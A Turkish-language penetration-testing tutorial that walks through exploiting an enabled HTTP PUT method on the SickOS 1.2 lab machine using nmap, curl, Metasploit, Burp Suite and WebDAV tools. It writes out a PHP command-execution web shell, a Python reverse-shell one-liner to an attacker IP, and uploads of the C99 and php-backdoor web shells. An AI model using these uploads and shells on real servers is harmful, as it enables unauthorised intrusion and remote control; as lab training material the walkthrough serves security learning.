Web Uygulama Sızma Testlerinde Kullanılan HTTP PUT Metodunun İstismar Edilmesi

HTTP PUT metodu hedef sunucuya veri göndermek için kullanılan tekniklerden biridir. PUT metodu kullanılarak yetkisiz ve kontrolsüz bir şekilde zararlı bir dosya içeriğinin sunucuya gönderilebilmesi zafiyete sebep olabilmektedir. Bu yazıda SickOS:1.2 sanal makinesinde PUT metodu ile dosya içeriği sunucuya gönderilme yöntemleri incelenecektir.

Yazıda kullanılan SickOs: 1.2 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/sickos-12,144/

Not: Sanal makine kullanmak yerine aşağıdaki betikle de bir web hizmeti başlatılabilir.

https://gist.githubusercontent.com/codification/1393204/raw/3fd4a48d072ec8f7f453d146814cb6e7fc6a129f/server.py

PUT metodu ile sunuculara veri (genellikle de dosya) atılmak için kullanılır. POST gibi metodlardan farklı olarak gönderilen bu veri (katar veya dosya) ile hedef sunucuya dosya gönderilir. Gönderilen dosya ile aynı isimde bir dosya varsa da üzerine yazar, yoksa belirtilen isimde ve içerikteki dosya oluşturulur. PUT metodu sunucuda genel olarak açık olabileceği gibi belirli bir dizinde de açık olabilir. SickOSv2 sanal makinesinde çalışan web uygulamasının “/test/” dizininde dizin geziniminin (Directory Traversal) açık olduğu görülmektedir. Bu durum, “/test/” dizinine atılan dosyaların çağırılması için kullanılabilir.

 

1) Nmap Aracı

Nmap aracının http-put betiği ile yereldeki dosya içeriği, zafiyetli hedef dizine belirlenen isim ile gönderilebilir.

echo “Merhaba Dunya” > Dosya
cat Dosya
nmap -Pn -n -sV -p80 172.20.50.134 –script http-put –script-args http-put.url=’/test/Selamlama.php’,http-put.file=’/root/Dosya’

 

2) Curl Aracı (İfade Gönderimi)

Curl aracı kullanılarak belirtilen ifade belirtilen hedefe gönderilebilir. İfade başarılı bir şekilde sunucuya gönderildiğinde, sunucu tarafından “201 Created” mesajı geri döndürülür.

curl -v -X PUT -d “Deneme 1 2 3” http://172.20.50.134/test/YeniSayfa.txt
curl -v -X PUT -d “<?php phpinfo();?>” http://172.20.50.134/test/PhpBilgi.php

 

Aynı isimde (Selamlama.php) bir dosya atıldığında ise “200 OK” dönüldüğü görülmektedir.

curl http://172.20.50.134/test/Selamlama.php
curl -v -X PUT -d “Merhaba Yeni Dunya” http://172.20.50.134/test/Selamlama.php
curl http://172.20.50.134/test/Selamlama.php

 

Not: Diğer geri dönüş mesajları için kaynaklardaki W3 bağlantısı incelenebilir.

Hedef işletim sisteminde komut çalıştırabilmek için komut enjeksiyonu zafiyetine sahip bir ifade sunucuya gönderilebilir.

curl -v -X PUT -d ‘<?php system($_GET[“Komut”]);’ http://172.20.50.134/test/KomutEnjeksiyonu.php
http://172.20.50.134/test/KomutEnjeksiyonu.php?Komut=uname -a

 

Komut olarak ters bağlantı sağlayacak bir Python komutu da verilebilir.

http://172.20.50.134/test/KomutEnjeksiyonu.php?Komut=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.20.50.135”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

 

Not: Hedef işletim sisteminde güvenlik duvarı (iptables) giriş ve çıkışları sınırlandırmaktadır. Bu sebeple sadece 443 ve 8080 TCP portlarından dışarıya trafik açılabilmektedir.

Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT tcp — anywhere anywhere tcp dpt:ssh
ACCEPT tcp — anywhere anywhere tcp dpt:http
ACCEPT tcp — anywhere anywhere tcp spt:http-alt
ACCEPT tcp — anywhere anywhere tcp spt:https

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy DROP)
target prot opt source destination
ACCEPT tcp — anywhere anywhere tcp spt:ssh
ACCEPT tcp — anywhere anywhere tcp spt:http
ACCEPT tcp — anywhere anywhere tcp dpt:http-alt
ACCEPT tcp — anywhere anywhere tcp dpt:https

 

 

3) Curl Aracı (Dosya Gönderimi)

Curl aracı kullanılarak belirtilen ifade belirtilen hedefe gönderilebilir. Bu amaçla, gönderilecek olan C99 adlı zararlı dosya internetten indirilir.

http://www.r57c99.com/index.php

 

Curl aracının “–upload-file” seçeneği ile bu zararlı dosya sunucuya gönderilebilir. Kullanılan sanal makinedeki uygulamada HTTP/1.1 için dosya yüklenmeye çalışıldığında “HTTP/1.1 417 Expectation Failed” hata mesajı alındığı için “-0 –http1.0” paramtresi ile HTTP/1.1 ile dösya gönderilmiştir.

curl –upload-file /root/c99.txt -v –url http://172.20.50.134/test/ZararliDosya.php -0 –http1.0

 

Böylece zararlı dosya hedef sunucuya gönderilmiştir.

 

Gönderilen c99.php dosyası ile komut çalıştırılabilir, dosya yüklenebilir, komut satırı erişimi elde edilebilir, veritabanına bağlanılabilir.

 

Benzer olarak “-T” parametresi de kullanılabilir.

curl -T c99.txt 172.20.50.134/test/ZararliDosya2.php –http1.0

 

4) MSF http_put Auxiliary Modülü

MSF http_put modülü ile yereldeki dosya içeriği, zafiyetli hedef dizine belirlenen isim ile gönderilebilir. Örnek bir dosya içeriği aşağıdaki gibidir.

echo “MSF http_put Dosyasi” > /root/YeniDosya
cat /root/YeniDosya

 

Modül seçenekleri incelenir.

use auxiliary/scanner/http/http_put
show options

 

Modüle gönderilecek dosya içeriğinin yeri, hedef uygulamanın ilgili IP ve dizin bilgisi, hedef dizine yüklenecek olan dosyanın belirlenen ismi verilebilir.

set RHOSTS 172.20.50.134
set FILEDATA file://root/YeniDosya
set PATH /test/
set FILENAME MSFDosyasi.php
exploit

 

Not: Hata mesajı alınmasına rağmen dosya hedefe yüklenmiştir.

 

5) Burp Suite Vekil Uygulaması

Burp Suite vekil uygulaması ile yereldeki ifade, zafiyetli hedef dizine belirlenen isim ile gönderilebilir.

PUT /test/Selamlama.php HTTP/1.1
Merhaba Yeni Dunya – Burp Suite ile Dosya Yukleme

 

Not: Burp Suite yerine Firefox Poster eklentisi ile de dosya gönderilebilirdi.

Böylece dosya yüklenmiş olur.

http://172.20.50.134/test/Selamlama.php

 

6) Diğerleri

Quickput.py adlı aşağıdaki betik, PUT metodu ile dosya transferi gerçekleştirmek için kullanılabilir.

https://drive.google.com/file/d/0B0TzWBRmg5pWcmdSQ05CQnp2Z2M/view

Bu sanal makinede WebDav etkindir. Normalde Cadavar aracı ile dosya yükleme işlemi gerçekleştirilebilirdi.

cadaver http://172.20.50.134/webdav_dizini
put /usr/share/webshells/php/php-backdoor.php

Ancak yapılandırma dosyasındaki ayarlar sebebi ile Cadaver aracı ile dosya doğrudan yüklenememektedir.

 

Benzer olarak Davtest aracı ile de dosya yüklenmeye çalışılmışsa da doğrudan yüklenememiştir.

davtest -url http://172.20.50.134/webdav_dizini -uploadfile ‘/usr/share/webshells/php/php-backdoor.php’ -uploadloc ArkaKapi.php

 

Kaynaklar:

https://hack2rule.wordpress.com/2017/06/19/insecure-put-method-to-meterpreter/
https://github.com/d4rc0d3x/ctfs/blob/master/writeups/vulnhub/sickos1.2/README.md

FeaturedImage-0053


http://www.hackingarticles.in/5-ways-to-exploiting-put-vulnerability/
https://kaizensecurity.wordpress.com/2016/05/01/sickos-1-2-walkthrough/
http://www.smeegesec.com/2014/10/detecting-and-exploiting-http-put-method.html
https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.6

 

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.